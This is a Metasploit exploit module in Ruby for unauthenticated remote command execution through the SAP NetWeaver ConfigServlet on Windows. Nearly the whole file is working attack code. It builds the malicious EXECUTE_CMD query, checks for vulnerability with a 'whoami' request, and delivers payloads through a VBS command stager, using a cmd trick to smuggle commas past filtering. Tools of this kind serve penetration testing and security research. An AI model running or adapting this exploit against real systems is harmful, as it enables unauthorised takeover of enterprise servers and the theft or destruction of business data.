##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'SAP ConfigServlet Remote Code Execution',
      'Description'     => %q{
        This module allows remote code execution via operating system commands through the
        SAP ConfigServlet without any authentication. This module has been tested successfully
        with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.
      },
      'Author'          =>
        [
          'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
          'Andras Kabai' # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'OSVDB', '92704'],
          [ 'EDB', '24996'],
          [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
        ],
      'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows generic',
            {
              'Arch' => ARCH_X86
            }
          ]
        ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultTarget'  => 0,
      'Privileged'     => false
      ))

    register_options(
      [
        Opt::RPORT(50000),
        OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
      ])

    register_advanced_options(
      [
        OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ])
      ])
  end

  def check
    uri = normalize_uri(target_uri.path, 'ConfigServlet')
    begin
      res = send_evil_request(uri, "whoami", 20)
    rescue
      vprint_error("An error has occurred while sending the malicious request")
      return Exploit::CheckCode::Unknown
    end
    if !res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    elsif res.body.include?("Process created")
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("#{rhost}:#{rport} - Exploiting remote system")
    uri = normalize_uri(target_uri.path, 'ConfigServlet')

    execute_cmdstager( { :linemax => 1500, :nodelete => !datastore['DELETE_FILES'], :sap_configservlet_uri => uri })
  end

  def execute_command(cmd, opts)
    commands = cmd.split(/&/)
    commands.each do |command|
      timeout = 20
      if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
        register_file_for_cleanup($1)
      end
      if command.include?(".vbs") and command.include?(",")
        # because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
        # using the following command line trick it is possible to echo commas into the right places
        command.gsub!(",", "%i")
        command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
      else
        command = "cmd /c " + command
      end
      if command.include?("cscript")
        # in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
        # increaste timeout value when the VBS stager is called
        timeout = 120
      end
      vprint_status("Attempting to execute: #{command}")
      send_evil_request(opts[:sap_configservlet_uri], command, timeout)
    end
  end

  def send_evil_request(uri, cmd, timeout)
    begin
      res = send_request_cgi(
        {
          'uri' => uri,
          'method' => 'GET',
          'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
        }, timeout)

      if !res
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit failed")
      end

      if res.code != 200
        vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
        fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server")
    end

    if not res.body.include?("Process created")
      vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
      fail_with(Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed")
    end
    return res
  end
end
